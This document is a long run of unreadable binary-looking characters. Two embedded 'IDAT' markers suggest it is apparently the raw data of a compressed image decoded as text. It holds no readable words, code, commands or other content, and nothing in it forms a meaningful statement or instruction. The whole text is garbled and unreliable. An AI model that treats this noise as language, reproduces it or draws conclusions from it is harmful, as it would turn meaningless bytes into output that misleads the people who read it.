_/ݗ1`5GxV1<o>75Oiڞ?ŎkE\yhG'	Lw.\/]78hhDK/1JZ\G7GlC8<?ʣv|bUT8pY!kWQoxJ[EL_mg81L{_:Д[2}֡6p?*{Y]RCIq1~F<:?Zܩ/GO,};;>6dscQ8~O.?i7h;Xs<73pu7G7a[ʞOTzvLA<qr\b}r[Qqr-SpO\G>ϐhBxڣ?ï>8S+Jᬼ$<aq5klUaU
.ⓝ~/ʇKxXʸ띕>/>峇u,XSߛMȜ+yj}r` >h⫯=3('dv[C@>8~ԇ߼CIg؇2+(NXM}| #>pI]۽s4P^S̪e>ES@w;meǧƃ=ʤN?5O}b|A[!D.\%J,.Kp1JF{sa9~o6e\Pݶ~T*k(sD`:%F?9>MP>j~̀W|6_{sd³ADtq(	"߾"-{[kl{UE?13s榽VwKto]D+[|`«;1u_>[.XDެ>筏`8EρQy2h<+]KyэۻN>qξ5:Z0n"5r*i*s1qOڙI\-}i^TVS
G5NJbѻ|z^},Me>?S"u3Tq`3aWL.N<?#6N/e?zo
7,8]%ܙNy)H}}{?6+~w!.aM;ƉeG}:z9\b8EȏYrmm,1,\[Wc<ڮIaoٻ<bRdQuJcxuc~_3]	4m̍GFRVWw^]>f́57]ڦ<fR`U{9ͳr\~ܞO?Y/wB咽9SkeKlt6$^*`U+KK|;Z=\h8Bfw=ϟWQƝO).k7梗cS}Z)%_9c7@=TMVю@{qb"+Ă%T|foHPXlոԕrð~\lAzuU7Z'DċΊ?יQ4fa߭ES>\DI<PtNHy,kj`+:ZYTdYX	\_]ީWCO.4j9uOF*N֡]zMI66i}Ivyץ6zo0]XJ\R^ID|;Bk^/>^"=;S+<'s!,Y\a+!ZOϙ
<%6c~u>zjXFc|v$N>˷mhݺ|(_ݴtx2Oھy&r[j'v138Z:FG~Ou,JR)Ʃ_B"/b>n:*	"	)%%J$WXYdR?hYNNx
x؅皗-jDw>e69DF̐sPбWV<SֈTk&/GҪ9spGW8;VbT0yb^d/'~J(Lpi=H_+tl_?rP	'Z
ữB,0%LֺlycgS;~n6]jf#
{GwB}*/w}Sň>|Zs{uL	~O/f~
\^\B2#pSq3~@?r(<G%_FKוgs-%%{Ë[o'z[&n_@IE͑1ܼ"',;8k0Rֆ'p\KpR<(;b
N_A^1vnM块>R0q
:[%zf
>3%\<'>F;σ	SCf~o'&hr`xc6cʇm@@?@]`~n%r?r=ja
vyU߽[m1c-ɱϼqfv3d,t`s8/\wo'ʆ?t+c|xsN/kh~qy^|Dx05,{Ŭ['ϑl~=g`jPf2[hՇZ;_>seL듘]OEmgX.?MKϱ,vykg	BU޿ŭ#yeutc~I-3P|.UӉOb!3Ϗԩ3S{]>XoƓ3a%Isg6-(bMT`*pK5ϛ֏[20#DRW~vZ}
-ϣ,Ez5ȯq#qSM~0}-Jtmw_Mg?z{h,	rS#(Л71d:0>^sͦT.utduQDL~N$ػ͟;s892MY:T9{k!}^XlVs
+n0lˑHg|GI/\nJŒ6W諢˝ά+qHb˶]qLʡf޾C>}O60+{ 9p[?G!Pכo4J@Ags4'lrO!%3>[Tn^įT+xݭ"|`;Dv]GcC	n3ǚ.A
y(8"bkەLgؼ^LoU ֩}YRR<[j~[-|*߾n6
I[YqJr	g}0Rv'ASORLpmF6Lm.osϭF;oӷulݜ{8Z_;4U1{C]|ǗxqfZ,fM}\b\\=E+,WSyBE~g&!;B_M5[p8ۿa@|=
](0R#S㓀mKy3IBW;1.֘
w,͵f>}zZ}AMSj)tuSөo؞3̨U\5n
rgzZ 7xgMROV@of葝CR]})k!67*Oʙ'VJhg'O`ZP[~b0{Y\*]w~VHˈɿkW  ݱY^|Ki?ߟ{ucXr*\zkz(wi>tVG}ߟ}/L;?"dRFRHG주SۖY~q']~ߝYm==đ55WI%㧖_xśUw$!<Em&Y7}ZG\hwp]pZTQ]C?L[kyڻP=űU{OO	>>5d;%	PK]bp8fch:nTJn[#y2
: zuu%j:^9I4\𩿐+ޚjmן1@Lom9{+h=Y˚|)ov} .qacV&Qk";YG|870)"
wMB]mW̟޿s"tެOJ
9=-t/NĸϺ|t*oc>({ƪ>p:ܿ<V'z~OT6~Kzl߳sܺ3m\sy4b|hjx5g٠ppK|xG{mTFfCƠã\J==	!ѝޑцfuFB9JgAB	UE/pqdCA(ܝ)_n2L&ٕpS#H&A=J:QE'<=$ LְBا~)t3QKשOSeO6HRem&h^ua~_n_
Ϗx:7>#Zq/v|cMhpEghx~?b`'@`0Uw,>-
^:X9a"OXn"ɗ[_OIW;JzC%ֽ> log^^7 []|-f>omfcsxԇھ4?4odgvs?_#6֕$nsC7k8Œ`\'A3|ܹ{lBqj45^(6l$,⥟_Ϗb?u
cCm.bFis|3ηO`8sv40k?ϐ˟/;@*dZ°;N7j_'H=7qdt{<wAO|Ά9aB|Oߟ8ۿv9_}wfN{lzuFcbWZ}dF~x[2>۸~ZOj{ֶac3kڶkb58w׋u9W!o_w(x͌rxݡ%6Ɍ./hɜ4<LL#p~xIJ,pqV:	x[9gvFɤp.X!kk/H_uWO33_mAN~]qdc~b?>akQ~npL,z|,ڟvXrO<$k}(+0#KW//ab{{S9S]Dי`ܻqO*Ϥgq`!BuL;P-`_(~%5ݭ
VI‘WvkT/+0pُLH$zU=P_9B̌rmŴf~x}"Y}>j]--*m??'p+fX~l\U͇g~IV5Mb+U@&20fq`TRs Wl=g_42a_ZvW4'}=	Kt~4ºKy^yVF׸m	_b#lkY.KսrZ1?o))\
#nw`f1OgcP۸{;eobdu2#mۈ|ii~6`㿐ί(_quXgJ顓UM	(AϨbZsgauWKٸWOO=xg>iAm;ut~rn,i]w[剕rjn;cD?9*}V`E݌nt@"CJXO};tيGI}bc{N
%hd)֒;EFC-xGptM'[{W,	xik~w:2٦upPEm
$8{286;yB@ES o'Ƈ>N=?#;~3@XZRk̑<VqoH~͎S5WrnS`E[b
wڟ||{C&G~w	CscnyފwXAkdX00X/Gvy|\COε~1B+#rdISmd>K-*sfˑ	'J05sG p;֮|8_yoxbOofdGt*?-`*h~`WIfI>.V>#eb6\m#s@IDATy(?+i̸X]$t ^$m!sV
^B%j%XÿQ6iZ*)5=s#ʔs%bkO@??#<_WxjCx?X
B}o	uNBL\n<l-s|fye_>}@6Hg+#GB듂FWk昃gkaoy&gc^Yl'="s[fyI6Yi>	p>QP{/pp]~n$[-}ʏkpbap<EAGǒ.@>n"O1jQ?(GfWV, 2rsP
st&H ;zJ
@[ ++Gx}"Ĺ7/uY&$.eJ_ė&G[Z==ly/g/)o/g%c`aU!\#%gح`ft)ϋT5z}0nu`R8~-盥+wzڷ%]l"պٚ1ԏ竛>ZG ^;;u+\kAzZ?YҺY3oحH}}'~\	]VJ
G4>$\;)tMJV3^6}+~}T+Hâkڈs+ql_nF
?9+SO*T<Y܌]Dmߞa>2}igdhctgN+R{>#k[UpWSs{Vv/q'/IG!&oZ`|I=eNODʻΑIUU`>ʱzp7r]su|(j#12q6uL`L$;Vw}~&Tjr*gfz~|=jfcZ+Ģ5>qϯy;=O?m7ֽJ>}yﻲр"jۃ~}'w^>?R_0y;{X ſt:C4]N]D!.oϑgRB¤OOm;9ewVcҐCBc׸h9
;%~?2Fn/LAF?dQ7^L<ܻ)gׇ\|)pG}Tv]>=pĎ8vœ.V(=NY\|OYKr
E"ٵ?W:Kooak:
c3e`Y=Ϭ~f`ʿbOnX릦vWw/mHԿghxߕg}<[O7|y3
)>Gdu_
"ьӓ;s,o˖}"k~ܓbmXM0rJ'<^ǁO^bGdϑ`ԟqQEe2n1Ċ{d_
kDz --~_
~-e}}/s'G'?G?[$Y@2$/̩a(|%ng.MJɞG|=~$j]GZ+f,E(~Ő!!/~ʯP#W:q	~'iL=VHi!o_1v;Goyzr쓻(CXOs&?/{R_'㴞Sz@Xwsw"6O*=#3,ycND+ ?%PF!GB~mbT׭s6s5?gj
[>p7oKyq*l7Fzܟ?Gx29nZ;8H[l'9E>UK9gĖ zƑ˷ȹy01\Wm7?sϳ<3yG=&lbQ^HCy.!Hݿ!qG-M I314d6{,<"pLUCF&D
,Qݒ0|,Og/{@a2Ogm!ԧtV߽E5AínYKf_b7}oǯ`~3Fw٥<ÎqrO1t|չr,*9EϞrlgdL%	LL;T
h.8`ՒAezaU.`(t?K?ՙ#6ݿEDϯfI\czvϪ{5J
>1ūQmwaZՖvϥ"y"ظ(ӝ#>3hD'Njo.z|-\T[܋/>緯@yxorv<MUMA!6зb9bJTu_gNbU,w1uT5
H\%l6'M#>36;jj
{g=1o_d=-rώ_%oTA!\?E}5IUK_:mr,*QSF&`WԝӿHmo*	huP
e.]Ӟ
^P[o.pXN`KGBpDr"tcթ,?C;0$ܗT:jbxD:`rD{X\Ԭ.iZ9NSo_"ga7nQ)AϿ>;7U:xR3@ݵ![̴e~R-/F]y~FJ~5]W%8(*|o`Lf41?Ly)1^L_+>7N͠	*YUo'@<Ӈ}t)o5KMQba9
tzwNKBqoqət<I**]\LC;VmNGfa}
q@r=|
!V\5`%y19{zAe7&	&,$Zkai\BW1F/D'C@TQ{g~5
y*<\hcԽg\`οd>Iu}$~%~yk"ɥlq}5OxuWuQuyߙ|wotpQi8Ml{.?O_(m'7.s7^9sa`خ:y=&ht:VX%4e\}LuJSV5tx؃eTBTr#p9g\D;2{ߋrcCγϥ*x9~>U./pW_i\] =xUl_cԁ)ƛQ<o|W\u|z Df1sDGUlU<MVzefo~qkI[Z	M,Pmޱhn.ˋ+Oۺnw,_XԦ2j25f<T#ҩSGJb}[+᥶pJ*stWg
]zo*o&ՖWB7UT'b^??׵O>_Unj9vGF z\b;>=La6cDCa#m8tDmek"<jw57)yr=ZIN'~sZ)*)GNib9@1˖{nѱ)L]_oR&4+~14Ԋ7d(
{0Vt,5^3nTɍe@ߞ^*hP.c/sZYQ>}='CZ*̜Rim{;
†R5+Unc:>ѭ6pS`_~&:>}).~/?(-вRY~~-s=-g}
w}E<~tYJJ	-;)(m[&rӀW|O.˟`7L4>SX{\֡\}·~k	nDǟʵ7癟S**w}H3ik,'?/O;i'kFy
ʭj-+/U^_
/[P[k~?:^}ᔡYȴ^rzfKoގRy䜫uۿq{/Du(^r/Rz=W%LJe[,y,[	oOwVwb"Q_^̻؋yӏjf;KpK	=k|>2t|kݿ/Xh/נW.S{s_Qϵ
f{ݿaMl+߅Sdo1Ndzd)2<}oTRP|:&~
{ng
kv%ќ[^%gAcO
wol]y,/>pcjn<@s3ռ.x٢5w={?3=
?NDco]TVX=tؾ!0qrwjt>;JT;tpLج#uaJu	V܌T;&!G
{o3K\_<|duλU>:l+Fʙ廞V_	@N,d.wPMx@sF>o/
y.\aiLXG
sv%tI`=0? M5#;&洷95
=&EYK
]@J6i֊_/״OÄ%)6\%yQ9HEfNO
GhduxՇߧdk&ʒFKYǠ@76Y7n?n[8i3f
v\w]k32$^|,v=#{3M>,YWw	$Dr?P*8xdICu/?J;g칀7/*;ѝx}V}<<껔cYU1ԧOGkрrXaLݻ	a8L~iOL*Vnupw.ZxO4SW{+*ѹNEǙSӳoxt>71ӫ5} a+w6f~>LCqP(U?k4y!|'m*;c<7CT秽eǎO`55<}ً½N8g!V?g
&?3/?{8wDu9gї⃈Ьl;M)8;ժSksW?ϖ+VvN_<Q0
Sn>b.v#		?/*1A@(/G>_2"'cLJ2]~7.tݿʬp6lJk ,?Yx3	U{V)Bku'/1:k/j9MSF`#廠\8u
0w6Y1\߂RGu-}(
Udg>|E@»# GA}:<\j`Ns]=]xbR^ E`1>6|Kg6cW@Xx8tjN;tCXeTٻnG{<{8i{{
;Uf0[)3p-Chߎ	N>CdGG-tM',M3@"0}~Z߳PM6X
{|t8OXMBPpŸGLvN`_ھ֓,k(wmDDu*\O\#JvEz}D#&˛BŨ24fB:b?JZ*uK闺R6uݏq)A/|N[ft	q%N
uN>fwGS&W;ש1㪄>.qTtWp"G_1ª[o8)2|PF ,?3J?uZcϣ,D^A8?g7Rۙst/:\I$F)a>̲^9:_Br`gy9y)>#FIWgF$W9=a*_#2E[x'5o/	;9ھ?#̏M&gl6SCoba჉}|'޺^uz_";uW?gӛyϠp3T*~(sE޼`KGsk/{is*%ӵ?Vx
ds燐kc]&v	'_>
[/f1̾9Ǚs6wi!^R.Y=Z9?wn̙wg;C> W~=?{.We9jj?gp0.)u0"f	~?N/Fہ
|OIE,ƫ޸??g|y_'ܛv$Lo=.Oc"{Ƨ6vp]
o"}濺ʂ\,uſ fuuSf?I}}zV<^2Dxp\WOڟk|Z2G??Áx'/ڌQ^7	owryV9{dg/^`?ɸq[^#ϑO`jУ?͡r5⚟xY?>\a'>sh9
E_I]8
m3''Ɨ ^Lq{*Ss\˹y0|/R~]v;#lU+ˁh3ZVꢿzC{e6L_w*Ϙj㺤_bGu?=Ij]cLx?=gP#rS<>2(_Hl>6lG(=<{6T=QĥLNv{RS2S嚾gIOSێAz/fD?-n텏Ty/	{
=-2 V=8G{r.Kd)B?Q.p^?߭sk;KothA3|߿㇭(8
}͕c&Tk}n06m$8RB<iߑ-tjGo{|͟{:;g|lԠ/u
9=+?$sl~WJcݕ'
8Zy>|Sֿyym~gwZ}n	szk<}sjksiƫfl:u+7g%u`syܖ/Vʵ}I4s$瓲Ă︶^_<qͣV4skfճ_=*g}gˀ2|_=-ז~i{շe?<k;|ovzp*an5OUjyoe"?'Ļ\'Cug_Ns!k޹Of㮽;N>Y}<rbgnpMwBCu{o|9x%5~<~3Vt
o<?sgf5ߥXf}x
'
g瑸07rv?b?g{Wˏ
r]Of8YolZi]a8_D=YGc/73Wů+ݟ;?+yg/n I:__{$ȵ}[{_ßę\;ҰD]߯3[noT揞fmG<J	n"O(/ܳ>Ԋؤ__,`֌~~Z<~+4@Juirk~N{
XWj'?\|b@I^0AT֙j6uX];>F(?[Fv{-mґ~;[%E/l'g-Nj#{BM~ʖY~NP ~!WjnM#wJG>450=RӃv
>W2}yy%mA'n4b궚v3˿ٵ(
Ň$f8+P7lJu/ؾߧQI_u֎u_T{=̀\3*>~GcJ&e]T=޿Ql={&w~񙢌m[K8}W*T{
xaxYxFQ)я#[xQ&k!
0\He͙\xO1b[r¥RDbPsF)»do[L}}{cS8XO	cx#t80knȃY=A< ӧjZ5	˪3]ewo?r|ͯ/<ۺct/w|9șd\0=|Jݾ`up}R5t乼ՍӾ=wG}8O8|@6a|Z)w*VT%~\m?~ nNE7n߿YWTCF
}(y{O[ <F_#bĽ㫾,&]'ۡnU\d8{W5[[~
|{k
4S'ޭ՗6׃O_.q=3[k~xA]K4"CB?<łOUoh/uOe~ZtvD}yٖ}2goNX_Btx*{׶~Ū
fV=}t̜ƁېчOڥr9?3upt~jO|.>ɝƈm_ޗp˥ڑӏ_VGko?⛸XӌX&u񂃽"5pb;@}lm\=zz1r3su?gO/',"(lj]Z}F )PwŤ v|~4k?C΄Kz炡W$“hŏ~ERyl
셾gƨtLS̼Fo%$y3d<gweT<~e`lF	q
3ǵ^~׿!"o_P|Pr,;|	q~?{H?xagOŹ[}γO)٤!ߟ\xz|`g9?io8m|:ۛk_ρ/9]cV>yozug{0T9}=}+_<ZBdܱ,$wįTJ1N}RTdI3Aw>8X
X1Gqq&xͭ}I)f4 rq&(׻|>*^wLj{8v_~zi{onLAΰs̈$яqsӵ&JhmNd?OQsKD
y.׍]	93RMÌIkJA럙,	piydeߦ[}Vy\hj`fw@{rU9zs`'_adqr<]|˴u1k0>J?w>GgoL7>q)o
e6_igW'?XQo{c%.88hb|f\2ׅ.T<,BpfQo#a~N`13+Gqc5NĎѾ6؏aOFw+6ߦ'UL/7e[2pEu_>~̼X{qoi f|q>E8oѩE>wK=LQ	}lwYPwcW<*+럢_"DyL"Ħ/M8WK㖦AC?ŀWJorgoѯժB_?
{ǭx.?Ilֳe캻6u4Fݑ U*:|B rE'j^vpJ}zraaXޔ:Bł/
gĬzxCnՙ0,ņyiG|?j#{9{[|y%@/>=9J9o4udzĵbZ_GRrjԮ=xoVP7@֏#&@発kH}2WGxօJwz;SZ!ɰ5\h>8pAd;"oE_Z`s,m1,E!]
Em8o2O$V5>ijoo?y~djM~b/.kx8)E7;䲓Թa:)6c*{NjOh֯sx/kuœXiV8޹Nb_ܫB`~\v3|
꘵齣Q*
KY(<Ez-]<<za?3O}Ћ@y~W/Թv@UevsJ7A*\.[@+[ۿ/?+?QޯsȜ~ɻx;1g
 {3+z\qvjtAz6j'/ǴcR]9H#syTJL@af;kn)O'tܫ󷚝=:M{y2_X0EpGiEvA>WH|gA4y/‘֧dl}Re>Ge>>m}?nzbN]jOc&>初*>~_	37Qgv͚:J3bMS:s.	]~x0ѱ>Cl˙ys&9n~";^
+'"윿y_\4^`²CH.)s?IS(I5M8ŕOZAu_CO:w:9\/Txk5@ʆjP{k5H)qJfuo2=!y |u/3YOxBF
OdnxOߐq|<ky8UA4gr갳IO
:ݬOVl*R٭j&2ΉGyqyfሙStjR6Zhש{DoSH}reōuRܺ2َy^u9:h?E3@/~U3H
HJY^+5.``pYafĜ:D25q€l%
.LNtNy덵uOރ,IBjQqH㍥؋!~>	r `U>xY==ŏV߭ӷ-ʎlQ~Kgiyfw0ڞgV˪%BNx ػ'y9<Aǃ
j$X>
.GJI_g,Mzu9[_[5t
f;D:]XO|+okqRw>*ZZX%8nζYqPwmWyc)T{i 1A9fxIghtgc?FngAV]vL<HmL)+ʗ͐GDfQtiϱޙԍPn@RyTIR[|rͻ:|KD鳇p0)̆apKs1L9Lk3#cߵD3~/CAjLpc/vpb~3LCڊ5ھ^;Š
_Ս[SOMb怎~0*_^櫃g3<y(b~
o=T?g:4g1?h4HBDW@C&Oޟϟ(KC]bhHlOyg܍%KfϽB(><:?GhƓWcއ!=3uo^	?'+kuYaxUp: )}D>9+xF,"{ߺR0Ήn{o}_pD%NBF#P˘'
>B~}85ST}]p1
7>׀y2F_lu NGO^ɜ("7mRVwv]ËcV3meh癡m}<ʜ	>)/~m0e&Ainh[N%3b#zh1	IWL_q~I|'|k::fͣoЮ+,Ym6Ȼ,o.4㔝ݵ7m/<9ױ!{I&)Ni"%p6/{ʇx E>GSǟ%^`y{k4QNiE	Ճ˙g
OzI^/nS91_K0hzֆe}D}\Ud5C0'\,0j|3w@j8䪧4-D(Z8)Wg&«/gT6#qTӿ=g]!HS	zgW^})K|WSH|\O!8|dNd&fV#|봷<pʫPy|#AKys1{O)h5/B@oO>5TI?c= W7FZcj:T[LA	1=r0ڂdq,p&pHφ;\YX⪌wAJ1jݟ77Y(<UU+8	Z$
*eM&}A!ὓĔfQ9υRקZQ
1uz;µPWʤAԤMIQtV2M
% ]w]x42Ua@KKhANy0dg(HVmz^ȜMΜw-~F%/>1q^3jox G+3"Ϧtuy5]]&}|1k*ά>uy?Fcchs\{VpsN\lKWk1ۆosݭ%qn.Tz֢-տrT|5nm1;_\XIݘ<YjdU#Ϊ qVmOeȱG#4j*q{t1B<
ZBu`v_\y>i>:ش;yfJ*%NNAL"}U@Z$'
D43.heGz7p%}zb+6
mQ2pfNN946'/ث㳌ۑsԏۈHZS&Fυ9ֱ@<*p:x!)C=KZ@gէgח++jY>xD}nX?'T.%YRAoφEd~ZWxS{iV]ֲaO:?%_/7$x}8?蘳p,ݫ0Bdl`[~ZO<M.6j/sZ\oRZ'J-;0q%I>HxW?dϴ5xV!xuE̎:_{hye]@El\)X_`k#8l]t
{YИgm_9T2۟OӳcKya>{oȻeU=~m:|lGxOpDh	MxBrաYl"Q5W8<H([刘
.f+F	W3)@
n$^9yNIU#0Qn}##?o+ħSik=u9 45P5CɆ@ӿM~1	b<Ds]]~j8[G;cOO=927w3{3B)yxg";5pӯ-W.47|`5(%qJzsC`,5YtoM[>1N<'?5$N.~{?M77d#=OΧ};So_&'^-b?u	")Ul>&TO@
5{zprmpa!&Y
cNGT(i6nϜAڞʸn@D.3_OA]@g}gr|ԅCcNpd+<Ab_W?z'
~ȐCAN>F_;Dnp®_[j*5mC:Tٟ±9j7+3.t'NY|?д>+"1sKȯ33t)F;J=1cLqO$/`@mYPx{qٱgT	0VRTKe̿%)uq%}}F<xW]}BM\)ռ)sp"U<K$~@IDAT?!7BO׺.mqofs'_}ΰ6cruDg^;^k)To旾{{gԼ֧.̈́+♝@syL?V`yMEY)v|^g.36̟O%懋ͯ㺽gϷ[M0ti9o~<}w'=dsv1|:߹VjEpBo?\qNΛj
G(u\j?(3G8\k{M_Պr	
IYG[Y6]ƽ3k>0WLh{6듲EWRr#㸜 v.~3;A7Z2;X
|Tڴ1V	ǻ$kYa899
"s%~ߣ]?Cɯxg=ū!P
9Ǜ+Popi)\bÝRrbK<Wj3'xժI<~8So^WbN8XŶQa 
'kЭ,O1~j@U	`>_-s%t8*DJ+v0pr9w{XM}	~2_68T!1+%Zƃ]_Np;6cm?AP{Cvg-Ҋ˕	$ﯹ/~+o7K
jw|Bx_zAУ[Tc;ޙѧ.]x=(pWyZ/e/F#d?Oޗc\tYIa{[ԇ,3esnR}TS╳۠cߑc>p a/҇5z=ζ5?b֚K%2x#zU	{H>5yVN_"5GzB[~C?=%~հ{iܮ:׬l]>!P! OPʞ_|_sh.ù5Z[Җ3.\ï{zgm_~ҵ5~U;sV;.y3;ᤁމܤn%LtӁ_bBOCqMft|[J]V޻Co)NpUti gjōw/Ŵָ=#3=_gY=ã0wÚOң+&BE=<?y5/3gx̞2A3M
Z1)W
2JD~O{:^_tffp(G_-7\:uSZItS?sQϿ먨::G?~~o<cNL^w~'o=sHJq?p~~?w:(6E\{~<czHK0|
}uz!ViPG}:%ryƩ}~1s^WkLf>^oV4UVtLTz5Eyݨ*R&saffA㣣6}kVp9zza]?7.a->VY#nɀVz9qң{<D;afO&|؊=p^O^b޽+m9y]퐇?wP&jx8n
ǗOpj|xu{@fy9uȪO_&H<VC
^f@7%+A) aCȃ[9|E޻;?Wy@%%8Q|>)p
C{|WkF>AgwO.$ζK?q'Xi{fܙg?x4nڣhϞw3gx#Mdo%X1k:ArwYe!k1 9nsj?4C1Ӟvܮ=n"@@<B׉
a*MX"FmkoYsT(&gM\jj"D'4=+3{u9,GL3t7^
%\\x][D}/RW>@<:\~Ya%S2OWsGŽdjrUvco%lfmQWxRoX`Iqv&K1vcԱ}by}NUxd;5& ?]GB{fvm2<b[Od:sǯ8mlW]Mx(rMnZ+zӯX`
gl5kf{m-pTxJ<t[~*#n<^pэ>ѼV||FǺP||_.K&xe*TGi"I솟sZ?|Fu+e
KG[eq4늂ouY$Op7DrY~*np{>
`nSp+i4Ͱ.-ZTyWF)^y:$pa5dV[s}ѥ.I[3Vb\v<ڭ-":>.Qz?3I|]thv*N@>;0i٫ęy&wjd,y8nZ/6AHMXg䌧^fk-+D林*Jp[}ĩWvf9]305{nz~oB`5_aHD?1]m-K$uɬw
=s6G1Q4΅qor"{v{bpj=˞<#~̷Û\ĞȟTu=n$*AFʲə^rƟ׈:o +94ޛY]M]^&ʸr_m[AS¼>6\%} /g>Ϋ\
C.4±8p\A]?W24:/A6SǭK.IKz\¾N.U;Uto~JҞlro7|oUK*vjSPW!Za"Pk֦xגKl]S0ǛK(
~>9%oKIMr'mJnD[؄Kc߻<SjRܙgf;~jl؇6OOy7jk9D֊n֣7ùsIׇ̪ʻڿNoqU8 'EmVmsPak<½B̯x?ZĶ}~핢
g|{U`jK!X#I"	SZfxމ >C00W:e3o:;L}:mR`4G#Wh@h17c=1ՁuwWh#IYcPz3O+M\ۿ,
 `j'/SRMOk<L1|rfji9RMꩥ)u5܀#!t01^gP۟o{GL?}<6klc;oobwpR
h	}Rvo}Z-T-kT!icr[mRk$1Yy⧧y6{iub/^)rӺ.5[tm6=3+s/DDY%h|Ǡ,x^5n>+P,459Rp: 5»fAzä+19?wuH̀kb\I<JޖቇTG
ҷ}+@sӏ[WIC`NGr&OW菺(/U;{L!d+uwQ
|.F8_=,^w[zhʅύRsoO(UH_[CP֜1OM>ѯF?̹gq3ٵH8;
k_#	DPK=b9nnNw.?kɵCJ{J`rNC}#=#xӕ	ɰɆF{>!O9,pd&~XAxª;6YJw~O#ѩR,ͥ'yh*{T*h~uJ
ˆxe(&+m<Kp v~qe D9?VF?e瘊Y9T_Xj
n`Ihŀ=g鰌u.7ZxM?*
es<pƀ[}r=ZHo};|-{1h~gf~NeL>~|.cxn:6{~?M|{#!?%;,TⱽOwZ&NQWlGS?(Fyj`|O\~&75N{B/4ӫg~f1t}uVx1"^]a^K9#c}P<#S
=??c
yÛ| !BƷ<=+]qp{y={zOCHXgsg?F,*uOY۬M$7no;z+ǫ
wW1aqȜbQ>m5`?O[6|6ue
7A(
sAibX3zo\)U_8Ό	iKrI;:hEcE3Hq}}_Y;:
8?Ƈx)=Z
T߲G){xA^Z)Wcx[Y}'Hժz-g=sjn5GsNer+aJhx39%yu33]
ܵe& 97m~Hg
G6f;.Mw+j8u~J'ޗPn	̛BzTBm,KjwmU\:4\Hh}7b	7߃/jb+.y0Bh]ĉy?g8{,+	^@Of̆ \p?΀^huwjVK@ZuEQ0Fkc-q8cλNK@{ _Z]v}{u]n8nXyG>!;%#xtBu;{-RRPk|G3
5d!ivzSيBt9[юz:SY3]op2!۵~dzkO@s蕓D])FV}nPx
~Db&hN>:._D:yԎ<+9`";+P	6:8FK/O}"1@fi]VlbC>\xMG9яWL?Dzh{1,Uʄ+
S0ǃ{"nSg
^c S
tMO9%~{h*KhXX˗q޷y\Kȿg[H+lk̥v(
.{!'WsU;k,wŰ〺z8x‹[Y/^!Ҵ︹{E湒R6TJob?Pb:*0x>κtWY6iDkKşlL}(tj!%HG_oZz2qOUxH쥺_Ή>]Ѿq,#
Qf?ߟ7wJ_Iohsc(y
ūG%ፒZ֜8 Zq2.60VIYQEl1[.Ńx;-+nChie>=+KyJr{6A֟SlnK<as95[t~HWrf[wzRtt;gOW*ld	u*IxsdfԆM?_TMkÐ|gmT*`~<'w$kw^mXeVI
N<9Bgc酪岊S˺NK=8\x~a=)ɣ)#
9kc›M^ռB'u;+\cx0{֠SaGyq<)ēS#~'ΰ'8xs{{ѕ{bJϋI/C =p?pv-{gsy3
PoѪ*٣B	/@7BAE%FoR*Vc<2!:UN)42)cOkޭ=p&b[hm}.;WC͕Ux$s*&MտdwA9xRS1
u׳GsLYi!l; >+sa.4E>o:O;U΅5j*i|<n&I
u}ԹyIJNu^Ĭdw!2з=Sed
k.+I7)6ȭ9ٻ(1.kUJCaU@b"P'#ލ`8Ї`Gю~kSFj[
oOSM`[E0<ϳc
X~֟.=MMS=f)y!RI\zޯ[CH_G?ܙs~x\ go*Iױc݊eRO޿^i#kuefzF~{m-3۩eZ8EK_"-B,9u*
c{0Sgڗlsƻb"f:1C Na^̜Xx(4^?Am՚:,U<?HܪoE0=w~rMX$R"?x"T43H?Cb%EǿA[Se7J9ɕgΌ8|┞Y9\
j{ƮV,Q4G?f|o	+/4SyfioZ_Tgx+6cO}āa~xS~@erk[ӵPW
uj<l}~~t*{ys/񶖅y-CY7uE=|8nr'G.C2^7{sRfezw0X
d{l{tH#z{}:F&~<f]柿Gѿqv'mHJȍFa+pT*RACw~#u#bt:%|mei }T:%qxK;bF&P)Lpl`:po0tk#>g8xf.4jYU6-,Z6sWZVhpM!h1x 'G9S+>_sy,cV!4՞3pcҟ;{էb-%(&u?Ofcpx*	8:-\3' l>Ec=_ѯNS<k
\_7xa7us'n
f->|ؿZzuuC[p8|1?=?cQ.|TO?Wǜ'_6ϮS75<?MwF~ރ)55w=S_BS*N{e͂G5*x<7Lt;R8 ml|
%0^&~<W131?\KQJa0z?+aX?_݉ýR[mDֆC>oxcR1|O1zU؈ȹxs>M}℃NO%ӫL~nkǹLlIRl.mI)sNGuC">Y#r1~>(~{Om5ԎTL_>+5Lf2^^q>Cuj_p_W~Ww!5k9\ǭzE⾴[{soR'Sv$?Kz0dsv96Bi9/͕l'38j延cιJ\u]'74ѧD__Vu?	H8YL&nV<;a=_smս+^<&c$Z9j	#:I+윇a>yi}Vn+§؛۞O~ޒ	؟R{z<a3
A$@o^mN//SeMŸpɕ0kGj&J*(O
U92Cr3{G!}N_Õ>Vw4\MX>_Z4So\%xᇓο#SQڎ?
&/֕ʹO0gR4Gt{KA<ãqy\YCj?BյF%y+|>GHMy-]-wی#O~onY~_ao4oSUzҶG+*wi}g%9WMͣgyt8ϲG3a)sSmono-/~O$xB~;eW_u}rLXi4c7zuoZ+!]Y'}T;_/xKO?Æ:g1e\Vj=Ix~m0tlUrzǣ|a(DmYA7/L<>W:sz&v~otTW(B–n)OE+s<Ao(IޣO5܋qf~nPw߿A⇟yORWy\m,XT>TM77xŠcj'Ux8kx
O4$܋fZEeɲz}44
"jWf{Wg	 #OZէCF{OCo
zaWvͧQV?+7]_	9M4:4P[!}f	?D%E}Zo@åu9S|zf*R^O=㍭.эCI}#.tB9,<G;"+exT=SK@f54 @-ϠY1!8u_ptZQpwP,
|1mtǡ&YRo}ɚއ?,DX}pNU_`B;vT"Cu7fb?>}	tS&F@΢!mK,{CI{YM ZYp`'^;)j*2|)?Q\up=eJJgs+ŗoLu1b:ioά<7cSnTgۿ杀,xύ-ֽ8C3!>CmX1V6 s<??7c`\LnF#1g1aT]R	BGtݗ	i0'yxܮ\Yb-k?K#xe]5Ϣ{vyZggbv`P?GqS8c:y]WRٰ+>{V~b%?rS^wj2>y@P}I><>>\xcrϏSQV>Z'jN%t3-tr?}#{_7kAi@^SiV|ozP\"z8-Qc[æGbĜp8MQ$:JwN1Q].!99)
B3=j}I~3SZJG:>=Lc
žM~8Ӿa{FJN٭ŏzm=3u#s!8i>\]TXӧ̗k欃lZ-@\y<?cOU4^m{i+}Ia0+@.j)Ot"y[Mq?*AW¤+ﱑjGK}xb"?#.-K}`'YlέKеQi=Z0^ ->*ҋ ku*2	
5\toVD̿چK_i5F`0Blga>dzyBBŧ	p>;B8m*-$W@1&QUklx1F)ҙ._3jF4'+~@A~(g
